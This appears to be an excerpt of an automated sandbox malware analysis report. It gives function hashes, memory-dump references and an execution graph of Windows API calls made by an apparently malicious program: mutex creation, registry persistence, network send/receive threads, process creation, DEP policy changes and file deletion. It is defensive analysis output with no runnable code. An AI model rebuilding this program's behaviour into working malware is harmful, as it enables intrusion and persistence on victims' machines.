                                                                                    • Opcode Fuzzy Hash: 63b27a34980ef7cd0431b9b1bd09ea237c65252a9c5fd544169f5c9f7cfe5ffd
                                                                                    • Instruction Fuzzy Hash: 8331A25110EBC29FE3075B7898A83867FB0AF57255F0E45DBC4848F0E3E5680949D3A3
                                                                                    Function 002D00A0 Relevance: 11.6, Strings: 9, Instructions: 396COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: L4#p$L4#p$L4#p$L4#p$L4#p$L4#p$`8&$`8&$`8&
                                                                                    • API String ID: 0-4251726746
                                                                                    • Opcode ID: 79c42d75fe9ee69abb3d3b6bc16ca57fd8d01fb09a6c9348762881c88f3c75dd
                                                                                    • Instruction ID: 28dc2dd02fac023bab246552d587e9513e50b9f2f01300804be3a9b530919274
                                                                                    • Opcode Fuzzy Hash: 79c42d75fe9ee69abb3d3b6bc16ca57fd8d01fb09a6c9348762881c88f3c75dd
                                                                                    • Instruction Fuzzy Hash: 83D13631B10345AFDB158F68C894BBE77A2AF84310F14847BE9059B3A1DBB4DD61CBA1
                                                                                    Function 002D0AC8 Relevance: 7.7, Strings: 6, Instructions: 208COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: L4#p$L4#p$L4#p$\9&$\9&$\9&
                                                                                    • API String ID: 0-3215072296
                                                                                    • Opcode ID: 78d5882d9bea5df9b24ae42d8c0995ee3d09672187ab8569b2174b3c5f3bbc26
                                                                                    • Instruction ID: 84a03eb0db4b236fdc2aaacb48a7d6f9b8d91f013e7366d99f9cac73bd0e02a6
                                                                                    • Opcode Fuzzy Hash: 78d5882d9bea5df9b24ae42d8c0995ee3d09672187ab8569b2174b3c5f3bbc26
                                                                                    • Instruction Fuzzy Hash: 7D616831B243459FDB159F64D8907AEBBB2EF80314F14842BE9429B3A1DBB0DC51CBA1

                                                                                    Execution Graph

                                                                                    Execution Coverage:4%
                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                    Signature Coverage:5.3%
                                                                                    Total number of Nodes:1370
                                                                                    Total number of Limit Nodes:51
                                                                                    execution_graph 46462 41d4d0 46464 41d4e6 ctype ___scrt_fastfail 46462->46464 46463 41d6e3 46468 41d734 46463->46468 46478 41d071 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_fastfail 46463->46478 46464->46463 46466 431f99 21 API calls 46464->46466 46470 41d696 ___scrt_fastfail 46466->46470 46467 41d6f4 46467->46468 46469 41d760 46467->46469 46479 431f99 46467->46479 46469->46468 46487 41d474 21 API calls ___scrt_fastfail 46469->46487 46470->46468 46472 431f99 21 API calls 46470->46472 46476 41d6be ___scrt_fastfail 46472->46476 46474 41d72d ___scrt_fastfail 46474->46468 46484 43264f 46474->46484 46476->46468 46477 431f99 21 API calls 46476->46477 46477->46463 46478->46467 46480 431fa3 46479->46480 46481 431fa7 46479->46481 46480->46474 46488 43a88c 46481->46488 46497 43256f 46484->46497 46486 432657 46486->46469 46487->46468 46493 446aff _strftime 46488->46493 46489 446b3d 46496 445354 20 API calls __dosmaperr 46489->46496 46491 446b28 RtlAllocateHeap 46492 431fac 46491->46492 46491->46493 46492->46474 46493->46489 46493->46491 46495 442200 7 API calls 2 library calls 46493->46495 46495->46493 46496->46492 46498 43257e 46497->46498 46499 432588 46497->46499 46498->46486 46499->46498 46500 431f99 21 API calls 46499->46500 46501 4325a9 46500->46501 46501->46498 46503 43293a CryptAcquireContextA 46501->46503 46504 43295b CryptGenRandom 46503->46504 46506 432956 46503->46506 46505 432970 CryptReleaseContext 46504->46505 46504->46506 46505->46506 46506->46498 46507 426030 46512 4260f7 recv 46507->46512 46513 426091 46518 42610e send 46513->46518 46519 43a998 46522 43a9a4 _swprintf ___scrt_is_nonwritable_in_current_image 46519->46522 46520 43a9b2 46537 445354 20 API calls __dosmaperr 46520->46537 46522->46520 46525 43a9dc 46522->46525 46523 43a9b7 46538 43a827 26 API calls _Deallocate 46523->46538 46532 444acc EnterCriticalSection 46525->46532 46527 43a9e7 46533 43aa88 46527->46533 46529 43a9c2 std::_Locinfo::_Locinfo_ctor 46532->46527 46535 43aa96 46533->46535 46534 43a9f2 46539 43aa0f LeaveCriticalSection std::_Lockit::~_Lockit 46534->46539 46535->46534 46535->46535 46540 448416 39 API calls 2 library calls 46535->46540 46537->46523 46538->46529 46539->46529 46540->46535 46541 446fc8 46549 4473ba 46541->46549 46544 446fdc 46546 446fe4 46547 446ff1 46546->46547 46557 446ff4 11 API calls 46546->46557 46558 447174 46549->46558 46552 4473f9 TlsAlloc 46553 4473ea 46552->46553 46565 433d2c 46553->46565 46555 446fd2 46555->46544 46556 446f43 20 API calls 2 library calls 46555->46556 46556->46546 46557->46544 46559 4471a4 46558->46559 46562 4471a0 46558->46562 46559->46552 46559->46553 46560 4471c4 46560->46559 46563 4471d0 GetProcAddress 46560->46563 46562->46559 46562->46560 46572 447210 46562->46572 46564 4471e0 __crt_fast_encode_pointer 46563->46564 46564->46559 46566 433d37 IsProcessorFeaturePresent 46565->46566 46567 433d35 46565->46567 46569 4341a4 46566->46569 46567->46555 46579 434168 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 46569->46579 46571 434287 46571->46555 46573 447231 LoadLibraryExW 46572->46573 46574 447226 46572->46574 46575 447266 46573->46575 46576 44724e GetLastError 46573->46576 46574->46562 46575->46574 46577 44727d FreeLibrary 46575->46577 46576->46575 46578 447259 LoadLibraryExW 46576->46578 46577->46574 46578->46575 46579->46571 46580 402bcc 46581 402bd7 46580->46581 46582 402bdf 46580->46582 46598 403315 28 API calls 2 library calls 46581->46598 46584 402beb 46582->46584 46588 4015d3 46582->46588 46585 402bdd 46590 43360d 46588->46590 46589 43a88c _Yarn 21 API calls 46589->46590 46590->46589 46591 402be9 46590->46591 46594 43362e std::_Facet_Register 46590->46594 46599 442200 7 API calls 2 library calls 46590->46599 46593 433dec std::_Facet_Register 46601 437bd7 RaiseException 46593->46601 46594->46593 46600 437bd7 RaiseException 46594->46600 46597 433e09 46598->46585 46599->46590 46600->46593 46601->46597 46602 4339be 46603 4339ca ___scrt_is_nonwritable_in_current_image 46602->46603 46634 4336b3 46603->46634 46605 433b24 46940 433b44 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 46605->46940 46607 4339d1 46607->46605 46609 4339fb 46607->46609 46608 433b2b 46941 4426be 28 API calls _Atexit 46608->46941 46619 433a3a ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 46609->46619 46645 4434d1 46609->46645 46611 433b31 46942 442670 28 API calls _Atexit 46611->46942 46615 433b39 46616 433a1a 46618 433a9b 46653 433c5e 46618->46653 46619->46618 46936 43edf4 38 API calls 4 library calls 46619->46936 46628 433abd 46628->46608 46629 433ac1 46628->46629 46630 433aca 46629->46630 46938 442661 28 API calls _Atexit 46629->46938 46939 433842 13 API calls 2 library calls 46630->46939 46633 433ad2 46633->46616 46635 4336bc 46634->46635 46943 433e0a IsProcessorFeaturePresent 46635->46943 46637 4336c8 46944 4379ee 46637->46944 46639 4336cd 46640 4336d1 46639->46640 46953 44335e 46639->46953 46640->46607 46643 4336e8 46643->46607 46646 4434e8 46645->46646 46647 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 46646->46647 46648 433a14 46647->46648 46648->46616 46649 443475 46648->46649 46650 4434a4 46649->46650 46651 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 46650->46651 46652 4434cd 46651->46652 46652->46619 47056 436050 46653->47056 46656 433aa1 46657 443422 46656->46657 47058 44ddc9 46657->47058 46659 44342b 46660 433aaa 46659->46660 47062 44e0d3 38 API calls 46659->47062 46662 40d767 46660->46662 47219 41bce3 LoadLibraryA GetProcAddress 46662->47219 46664 40d783 GetModuleFileNameW 47224 40e168 46664->47224 46666 40d79f 47239 401fbd 46666->47239 46669 401fbd 28 API calls 46670 40d7bd 46669->46670 47243 41afc3 46670->47243 46674 40d7cf 47268 401d8c 46674->47268 46676 40d7d8 46677 40d835 46676->46677 46678 40d7eb 46676->46678 47274 401d64 46677->47274 47526 40e986 111 API calls 46678->47526 46681 40d845 46684 401d64 28 API calls 46681->46684 46682 40d7fd 46683 401d64 28 API calls 46682->46683 46687 40d809 46683->46687 46685 40d864 46684->46685 47279 404cbf 46685->47279 47527 40e937 68 API calls 46687->47527 46688 40d873 47283 405ce6 46688->47283 46691 40d87f 47286 401eef 46691->47286 46692 40d824 47528 40e155 68 API calls 46692->47528 46695 40d88b 47290 401eea 46695->47290 46697 40d894 46699 401eea 26 API calls 46697->46699 46698 401eea 26 API calls 46700 40dc9f 46698->46700 46701 40d89d 46699->46701 46937 433c94 GetModuleHandleW 46700->46937 46702 401d64 28 API calls 46701->46702 46703 40d8a6 46702->46703 47294 401ebd 46703->47294 46705 40d8b1 46706 401d64 28 API calls 46705->46706 46707 40d8ca 46706->46707 46708 401d64 28 API calls 46707->46708 46710 40d8e5 46708->46710 46709 40d946 46712 401d64 28 API calls 46709->46712 46727 40e134 46709->46727 46710->46709 47529 4085b4 46710->47529 46717 40d95d 46712->46717 46713 40d912 46714 401eef 26 API calls 46713->46714 46715 40d91e 46714->46715 46718 401eea 26 API calls 46715->46718 46716 40d9a4 47298 40bed7 46716->47298 46717->46716 46722 4124b7 3 API calls 46717->46722 46719 40d927 46718->46719 47533 4124b7 RegOpenKeyExA 46719->47533 46721 40d9aa 46723 40d82d 46721->46723 47301 41a463 46721->47301 46728 40d988 46722->46728 46723->46698 46726 40d9c5 46729 40da18 46726->46729 47318 40697b 46726->47318 47609 412902 30 API calls 46727->47609 46728->46716 47536 412902 30 API calls 46728->47536 46731 401d64 28 API calls 46729->46731 46734 40da21 46731->46734 46743 40da32 46734->46743 46744 40da2d 46734->46744 46736 40e14a 47610 4112b5 64 API calls ___scrt_fastfail 46736->47610 46737 40d9e4 47537 40699d 30 API calls 46737->47537 46738 40d9ee 46740 401d64 28 API calls 46738->46740 46751 40d9f7 46740->46751 46746 401d64 28 API calls 46743->46746 47540 4069ba CreateProcessA CloseHandle CloseHandle ___scrt_fastfail 46744->47540 46745 40d9e9 47538 4064d0 97 API calls 46745->47538 46749 40da3b 46746->46749 47322 41ae08 46749->47322 46751->46729 46754 40da13 46751->46754 46752 40da46 47326 401e18 46752->47326 47539 4064d0 97 API calls 46754->47539 46755 40da51 47330 401e13 46755->47330 46758 40da5a 46759 401d64 28 API calls 46758->46759 46760 40da63 46759->46760 46761 401d64 28 API calls 46760->46761 46762 40da7d 46761->46762 46763 401d64 28 API calls 46762->46763 46764 40da97 46763->46764 46765 401d64 28 API calls 46764->46765 46767 40dab0 46765->46767 46766 40db1d 46768 40db2c 46766->46768 46775 40dcaa ___scrt_fastfail 46766->46775 46767->46766 46769 401d64 28 API calls 46767->46769 46770 40db35 46768->46770 46798 40dbb1 ___scrt_fastfail 46768->46798 46773 40dac5 _wcslen 46769->46773 46771 401d64 28 API calls 46770->46771 46772 40db3e 46771->46772 46774 401d64 28 API calls 46772->46774 46773->46766 46776 401d64 28 API calls 46773->46776 46777 40db50 46774->46777 47600 41265d RegOpenKeyExA RegQueryValueExA RegCloseKey 46775->47600 46778 40dae0 46776->46778 46780 401d64 28 API calls 46777->46780 46781 401d64 28 API calls 46778->46781 46782 40db62 46780->46782 46783 40daf5 46781->46783 46786 401d64 28 API calls 46782->46786 47541 40c89e 46783->47541 46784 40dcef 46785 401d64 28 API calls 46784->46785 46787 40dd16 46785->46787 46789 40db8b 46786->46789 47344 401f66 46787->47344 46792 401d64 28 API calls 46789->46792 46791 401e18 26 API calls 46794 40db14 46791->46794 46795 40db9c 46792->46795 46797 401e13 26 API calls 46794->46797 47598 40bc67 45 API calls _wcslen 46795->47598 46796 40dd25 47348 4126d2 RegCreateKeyA 46796->47348 46797->46766 47334 4128a2 46798->47334 46802 40dc45 ctype 46807 401d64 28 API calls 46802->46807 46803 40dbac 46803->46798 46805 401d64 28 API calls 46806 40dd47 46805->46806 47354 43a5e7 46806->47354 46808 40dc5c 46807->46808 46808->46784 46811 40dc70 46808->46811 46814 401d64 28 API calls 46811->46814 46812 40dd81 46818 401f66 28 API calls 46812->46818 46813 40dd5e 47601 41beb0 86 API calls ___scrt_fastfail 46813->47601 46816 40dc7e 46814->46816 46819 41ae08 28 API calls 46816->46819 46817 40dd65 CreateThread 46817->46812 48196 41c96f 10 API calls 46817->48196 46820 40dd96 46818->46820 46821 40dc87 46819->46821 46822 401f66 28 API calls 46820->46822 47599 40e219 109 API calls 46821->47599 46824 40dda5 46822->46824 47358 41a686 46824->47358 46825 40dc8c 46825->46784 46827 40dc93 46825->46827 46827->46723 46829 401d64 28 API calls 46830 40ddb6 46829->46830 46831 401d64 28 API calls 46830->46831 46832 40ddcb 46831->46832 46833 401d64 28 API calls 46832->46833 46834 40ddeb 46833->46834 46835 43a5e7 _strftime 42 API calls 46834->46835 46836 40ddf8 46835->46836 46837 401d64 28 API calls 46836->46837 46838 40de03 46837->46838 46839 401d64 28 API calls 46838->46839 46840 40de14 46839->46840 46841 401d64 28 API calls 46840->46841 46842 40de29 46841->46842 46843 401d64 28 API calls 46842->46843 46844 40de3a 46843->46844 46845 40de41 StrToIntA 46844->46845 47382 409517 46845->47382 46848 401d64 28 API calls 46849 40de5c 46848->46849 46850 40dea1 46849->46850 46851 40de68 46849->46851 46854 401d64 28 API calls 46850->46854 47602 43360d 22 API calls 3 library calls 46851->47602 46853 40de71 46855 401d64 28 API calls 46853->46855 46856 40deb1 46854->46856 46857 40de84 46855->46857 46858 40def9 46856->46858 46859 40debd 46856->46859 46860 40de8b CreateThread 46857->46860 46862 401d64 28 API calls 46858->46862 47603 43360d 22 API calls 3 library calls 46859->47603 46860->46850 48200 419128 102 API calls 2 library calls 46860->48200 46864 40df02 46862->46864 46863 40dec6 46865 401d64 28 API calls 46863->46865 46867 40df6c 46864->46867 46868 40df0e 46864->46868 46866 40ded8 46865->46866 46869 40dedf CreateThread 46866->46869 46870 401d64 28 API calls 46867->46870 46871 401d64 28 API calls 46868->46871 46869->46858 48199 419128 102 API calls 2 library calls 46869->48199 46872 40df75 46870->46872 46873 40df1e 46871->46873 46874 40df81 46872->46874 46875 40dfba 46872->46875 46876 401d64 28 API calls 46873->46876 46877 401d64 28 API calls 46874->46877 47407 41a7a2 46875->47407 46878 40df33 46876->46878 46880 40df8a 46877->46880 47604 40c854 31 API calls 46878->47604 46886 401d64 28 API calls 46880->46886 46882 401e18 26 API calls 46883 40dfce 46882->46883 46885 401e13 26 API calls 46883->46885 46888 40dfd7 46885->46888 46889 40df9f 46886->46889 46887 40df46 46890 401e18 26 API calls 46887->46890 46891 40dfe0 SetProcessDEPPolicy 46888->46891 46892 40dfe3 CreateThread 46888->46892 46899 43a5e7 _strftime 42 API calls 46889->46899 46893 40df52 46890->46893 46891->46892 46894 40e004 46892->46894 46895 40dff8 CreateThread 46892->46895 48169 40e54f 46892->48169 46896 401e13 26 API calls 46893->46896 46897 40e019 46894->46897 46898 40e00d CreateThread 46894->46898 46895->46894 48201 410f36 136 API calls 46895->48201 46900 40df5b CreateThread 46896->46900 46902 40e073 46897->46902 46904 401f66 28 API calls 46897->46904 46898->46897 48197 411524 38 API calls ___scrt_fastfail 46898->48197 46901 40dfac 46899->46901 46900->46867 48198 40196b 49 API calls _strftime 46900->48198 47605 40b95c 7 API calls 46901->47605 47419 41246e RegOpenKeyExA 46902->47419 46905 40e046 46904->46905 47606 404c9e 28 API calls 46905->47606 46908 40e053 46910 401f66 28 API calls 46908->46910 46912 40e062 46910->46912 46911 40e12a 47431 40cbac 46911->47431 46915 41a686 79 API calls 46912->46915 46914 41ae08 28 API calls 46917 40e0a4 46914->46917 46918 40e067 46915->46918 47422 412584 RegOpenKeyExW 46917->47422 46920 401eea 26 API calls 46918->46920 46920->46902 46923 401e13 26 API calls 46926 40e0c5 46923->46926 46924 40e0ed DeleteFileW 46925 40e0f4 46924->46925 46924->46926 46928 41ae08 28 API calls 46925->46928 46926->46924 46926->46925 46927 40e0db Sleep 46926->46927 47607 401e07 46927->47607 46930 40e104 46928->46930 47427 41297a RegOpenKeyExW 46930->47427 46932 40e117 46933 401e13 26 API calls 46932->46933 46934 40e121 46933->46934 46935 401e13 26 API calls 46934->46935 46935->46911 46936->46618 46937->46628 46938->46630 46939->46633 46940->46608 46941->46611 46942->46615 46943->46637 46945 4379f3 ___vcrt_initialize_winapi_thunks 46944->46945 46957 438cb9 46945->46957 46948 437a01 46948->46639 46950 437a09 46951 437a14 46950->46951 46971 438cf5 DeleteCriticalSection 46950->46971 46951->46639 46999 44e949 46953->46999 46956 437a17 8 API calls 3 library calls 46956->46640 46959 438cc2 46957->46959 46960 438ceb 46959->46960 46961 4379fd 46959->46961 46972 438f46 46959->46972 46977 438cf5 DeleteCriticalSection 46960->46977 46961->46948 46963 437ecf 46961->46963 46992 438e57 46963->46992 46966 437ee4 46966->46950 46968 437ef2 46969 437eff 46968->46969 46998 437f02 6 API calls ___vcrt_FlsFree 46968->46998 46969->46950 46971->46948 46978 438de8 46972->46978 46974 438f60 46975 438f7e InitializeCriticalSectionAndSpinCount 46974->46975 46976 438f69 46974->46976 46975->46976 46976->46959 46977->46961 46979 438e10 46978->46979 46980 438e0c __crt_fast_encode_pointer 46978->46980 46979->46980 46985 438d24 46979->46985 46980->46974 46983 438e2a GetProcAddress 46983->46980 46984 438e3a __crt_fast_encode_pointer 46983->46984 46984->46980 46990 438d33 try_get_first_available_module 46985->46990 46986 438ddd 46986->46980 46986->46983 46987 438d50 LoadLibraryExW 46988 438d6b GetLastError 46987->46988 46987->46990 46988->46990 46989 438dc6 FreeLibrary 46989->46990 46990->46986 46990->46987 46990->46989 46991 438d9e LoadLibraryExW 46990->46991 46991->46990 46993 438de8 try_get_function 5 API calls 46992->46993 46994 438e71 46993->46994 46995 438e8a TlsAlloc 46994->46995 46996 437ed9 46994->46996 46996->46966 46997 438f08 6 API calls try_get_function 46996->46997 46997->46968 46998->46966 47000 44e966 46999->47000 47003 44e962 46999->47003 47000->47003 47005 4489ad 47000->47005 47001 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 47002 4336da 47001->47002 47002->46643 47002->46956 47003->47001 47006 4489b9 ___scrt_is_nonwritable_in_current_image 47005->47006 47017 444acc EnterCriticalSection 47006->47017 47008 4489c0 47018 44ef64 47008->47018 47010 4489cf 47011 4489de 47010->47011 47031 448841 29 API calls 47010->47031 47033 4489fa LeaveCriticalSection std::_Lockit::~_Lockit 47011->47033 47014 4489ef std::_Locinfo::_Locinfo_ctor 47014->47000 47015 4489d9 47032 4488f7 GetStdHandle GetFileType 47015->47032 47017->47008 47019 44ef70 ___scrt_is_nonwritable_in_current_image 47018->47019 47020 44ef94 47019->47020 47021 44ef7d 47019->47021 47034 444acc EnterCriticalSection 47020->47034 47042 445354 20 API calls __dosmaperr 47021->47042 47024 44ef82 47043 43a827 26 API calls _Deallocate 47024->47043 47026 44ef8c std::_Locinfo::_Locinfo_ctor 47026->47010 47027 44efcc 47044 44eff3 LeaveCriticalSection std::_Lockit::~_Lockit 47027->47044 47029 44efa0 47029->47027 47035 44eeb5 47029->47035 47031->47015 47032->47011 47033->47014 47034->47029 47045 448706 47035->47045 47037 44eec7 47041 44eed4 47037->47041 47052 44772e 11 API calls 2 library calls 47037->47052 47039 44ef26 47039->47029 47053 446ac5 20 API calls __dosmaperr 47041->47053 47042->47024 47043->47026 47044->47026 47046 448713 _strftime 47045->47046 47047 448753 47046->47047 47048 44873e RtlAllocateHeap 47046->47048 47054 442200 7 API calls 2 library calls 47046->47054 47055 445354 20 API calls __dosmaperr 47047->47055 47048->47046 47050 448751 47048->47050 47050->47037 47052->47037 47053->47039 47054->47046 47055->47050 47057 433c71 GetStartupInfoW 47056->47057 47057->46656 47059 44dddb 47058->47059 47060 44ddd2 47058->47060 47059->46659 47063 44dcc8 47060->47063 47062->46659 47083 446ebf GetLastError 47063->47083 47065 44dcd5 47103 44dde7 47065->47103 47067 44dcdd 47112 44da5c 47067->47112 47070 44dcf4 47070->47059 47073 44dd37 47137 446ac5 20 API calls __dosmaperr 47073->47137 47077 44dd32 47136 445354 20 API calls __dosmaperr 47077->47136 47079 44dd7b 47079->47073 47139 44d932 26 API calls 47079->47139 47080 44dd4f 47080->47079 47138 446ac5 20 API calls __dosmaperr 47080->47138 47084 446ed5 47083->47084 47085 446edb 47083->47085 47140 447466 11 API calls 2 library calls 47084->47140 47087 448706 __dosmaperr 20 API calls 47085->47087 47089 446f2a SetLastError 47085->47089 47088 446eed 47087->47088 47090 446ef5 47088->47090 47142 4474bc 11 API calls 2 library calls 47088->47142 47089->47065 47141 446ac5 20 API calls __dosmaperr 47090->47141 47093 446f0a 47093->47090 47095 446f11 47093->47095 47094 446efb 47096 446f36 SetLastError 47094->47096 47143 446d31 20 API calls __dosmaperr 47095->47143 47145 4453b6 38 API calls _Atexit 47096->47145 47098 446f1c 47144 446ac5 20 API calls __dosmaperr 47098->47144 47102 446f23 47102->47089 47102->47096 47104 44ddf3 ___scrt_is_nonwritable_in_current_image 47103->47104 47105 446ebf __Getctype 38 API calls 47104->47105 47107 44ddfd 47105->47107 47110 44de81 std::_Locinfo::_Locinfo_ctor 47107->47110 47146 4453b6 38 API calls _Atexit 47107->47146 47147 444acc EnterCriticalSection 47107->47147 47148 446ac5 20 API calls __dosmaperr 47107->47148 47149 44de78 LeaveCriticalSection std::_Lockit::~_Lockit 47107->47149 47110->47067 47150 4392de 47112->47150 47115 44da7d GetOEMCP 47118 44daa6 47115->47118 47116 44da8f 47117 44da94 GetACP 47116->47117 47116->47118 47117->47118 47118->47070 47119 446aff 47118->47119 47120 446b3d 47119->47120 47125 446b0d _strftime 47119->47125 47161 445354 20 API calls __dosmaperr 47120->47161 47122 446b28 RtlAllocateHeap 47123 446b3b 47122->47123 47122->47125 47123->47073 47126 44de89 47123->47126 47125->47120 47125->47122 47160 442200 7 API calls 2 library calls 47125->47160 47127 44da5c 40 API calls 47126->47127 47128 44dea8 47127->47128 47131 44def9 IsValidCodePage 47128->47131 47133 44deaf 47128->47133 47135 44df1e ___scrt_fastfail 47128->47135 47129 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 47130 44dd2a 47129->47130 47130->47077 47130->47080 47132 44df0b GetCPInfo 47131->47132 47131->47133 47132->47133 47132->47135 47133->47129 47162 44db34 GetCPInfo 47135->47162 47136->47073 47137->47070 47138->47079 47139->47073 47140->47085 47141->47094 47142->47093 47143->47098 47144->47102 47147->47107 47148->47107 47149->47107 47151 4392f1 47150->47151 47152 4392fb 47150->47152 47151->47115 47151->47116 47152->47151 47153 446ebf __Getctype 38 API calls 47152->47153 47154 43931c 47153->47154 47158 44700e 38 API calls __Getctype 47154->47158 47156 439335 47159 44703b 38 API calls __cftof 47156->47159 47158->47156 47159->47151 47160->47125 47161->47123 47168 44db6e 47162->47168 47171 44dc18 47162->47171 47165 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 47167 44dcc4 47165->47167 47167->47133 47172 44fed3 47168->47172 47170 449b6d _swprintf 43 API calls 47170->47171 47171->47165 47173 4392de __cftof 38 API calls 47172->47173 47175 44fef3 MultiByteToWideChar 47173->47175 47176 44ff31 47175->47176 47180 44ffc3 __freea 47175->47180 47178 446aff _strftime 21 API calls 47176->47178 47181 44ff52 __alloca_probe_16 ___scrt_fastfail 47176->47181 47177 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 47179 44dbcf 47177->47179 47178->47181 47184 449b6d 47179->47184 47180->47177 47181->47180 47182 44ff97 MultiByteToWideChar 47181->47182 47182->47180 47183 44ffb3 GetStringTypeW 47182->47183 47183->47180 47185 4392de __cftof 38 API calls 47184->47185 47186 449b80 47185->47186 47189 449950 47186->47189 47190 44996b ___crtLCMapStringA 47189->47190 47191 449991 MultiByteToWideChar 47190->47191 47192 4499bb 47191->47192 47204 449a91 __freea 47191->47204 47195 446aff _strftime 21 API calls 47192->47195 47197 4499dc __alloca_probe_16 47192->47197 47193 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 47194 449b58 47193->47194 47194->47170 47195->47197 47196 449a25 MultiByteToWideChar 47198 449a3e 47196->47198 47196->47204 47197->47196 47197->47204 47210 44785d 47198->47210 47201 449aa0 47205 446aff _strftime 21 API calls 47201->47205 47206 449ac1 __alloca_probe_16 47201->47206 47202 449a68 47203 44785d _strftime 11 API calls 47202->47203 47202->47204 47203->47204 47204->47193 47205->47206 47206->47204 47207 44785d _strftime 11 API calls 47206->47207 47208 449b15 47207->47208 47208->47204 47209 449b24 WideCharToMultiByte 47208->47209 47209->47204 47211 447174 __dosmaperr 5 API calls 47210->47211 47212 447884 47211->47212 47215 44788d 47212->47215 47218 4478e5 10 API calls 3 library calls 47212->47218 47214 4478cd LCMapStringW 47214->47215 47216 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 47215->47216 47217 4478df 47216->47217 47217->47201 47217->47202 47217->47204 47218->47214 47220 41bd22 LoadLibraryA GetProcAddress 47219->47220 47221 41bd12 GetModuleHandleA GetProcAddress 47219->47221 47222 41bd4b 32 API calls 47220->47222 47223 41bd3b LoadLibraryA GetProcAddress 47220->47223 47221->47220 47222->46664 47223->47222 47611 41a63f FindResourceA 47224->47611 47227 43a88c _Yarn 21 API calls 47228 40e192 ctype 47227->47228 47614 401f86 47228->47614 47231 401eef 26 API calls 47232 40e1b8 47231->47232 47233 401eea 26 API calls 47232->47233 47234 40e1c1 47233->47234 47235 43a88c _Yarn 21 API calls 47234->47235 47236 40e1d2 ctype 47235->47236 47618 406052 47236->47618 47238 40e205 47238->46666 47240 401fcc 47239->47240 47626 402501 47240->47626 47242 401fea 47242->46669 47244 41afd6 47243->47244 47247 41b048 47244->47247 47255 401eef 26 API calls 47244->47255 47259 401eea 26 API calls 47244->47259 47263 41b046 47244->47263 47631 403b60 28 API calls 47244->47631 47632 41bfa9 28 API calls 47244->47632 47245 401eea 26 API calls 47246 41b078 47245->47246 47248 401eea 26 API calls 47246->47248 47633 403b60 28 API calls 47247->47633 47251 41b080 47248->47251 47253 401eea 26 API calls 47251->47253 47252 41b054 47254 401eef 26 API calls 47252->47254 47256 40d7c6 47253->47256 47257 41b05d 47254->47257 47255->47244 47264 40e8bd 47256->47264 47258 401eea 26 API calls 47257->47258 47260 41b065 47258->47260 47259->47244 47634 41bfa9 28 API calls 47260->47634 47263->47245 47265 40e8ca 47264->47265 47267 40e8da 47265->47267 47635 40200a 26 API calls 47265->47635 47267->46674 47269 40200a 47268->47269 47273 40203a 47269->47273 47636 402654 26 API calls 47269->47636 47271 40202b 47637 4026ba 26 API calls _Deallocate 47271->47637 47273->46676 47275 401d6c 47274->47275 47276 401d74 47275->47276 47638 401fff 28 API calls 47275->47638 47276->46681 47280 404ccb 47279->47280 47639 402e78 47280->47639 47282 404cee 47282->46688 47648 404bc4 47283->47648 47285 405cf4 47285->46691 47287 401efe 47286->47287 47289 401f0a 47287->47289 47657 4021b9 26 API calls 47287->47657 47289->46695 47291 4021b9 47290->47291 47292 4021e8 47291->47292 47658 40262e 26 API calls _Deallocate 47291->47658 47292->46697 47296 401ec9 47294->47296 47295 401ee4 47295->46705 47296->47295 47297 402325 28 API calls 47296->47297 47297->47295 47659 401e8f 47298->47659 47300 40bee1 CreateMutexA GetLastError 47300->46721 47661 41b15b 47301->47661 47306 401eef 26 API calls 47307 41a49f 47306->47307 47308 401eea 26 API calls 47307->47308 47309 41a4a7 47308->47309 47310 412513 31 API calls 47309->47310 47311 41a4fa 47309->47311 47312 41a4cd 47310->47312 47311->46726 47313 41a4d8 StrToIntA 47312->47313 47314 41a4ef 47313->47314 47315 41a4e6 47313->47315 47317 401eea 26 API calls 47314->47317 47669 41c102 28 API calls 47315->47669 47317->47311 47319 40698f 47318->47319 47320 4124b7 3 API calls 47319->47320 47321 406996 47320->47321 47321->46737 47321->46738 47323 41ae1c 47322->47323 47670 40b027 47323->47670 47325 41ae24 47325->46752 47327 401e27 47326->47327 47329 401e33 47327->47329 47679 402121 26 API calls 47327->47679 47329->46755 47332 402121 47330->47332 47331 402150 47331->46758 47332->47331 47680 402718 26 API calls _Deallocate 47332->47680 47335 4128c0 47334->47335 47336 406052 28 API calls 47335->47336 47337 4128d5 47336->47337 47338 401fbd 28 API calls 47337->47338 47339 4128e5 47338->47339 47340 4126d2 29 API calls 47339->47340 47341 4128ef 47340->47341 47342 401eea 26 API calls 47341->47342 47343 4128fc 47342->47343 47343->46802 47345 401f6e 47344->47345 47681 402301 47345->47681 47349 412722 47348->47349 47350 4126eb 47348->47350 47351 401eea 26 API calls 47349->47351 47353 4126fd RegSetValueExA RegCloseKey 47350->47353 47352 40dd3b 47351->47352 47352->46805 47353->47349 47355 43a600 _strftime 47354->47355 47685 43993e 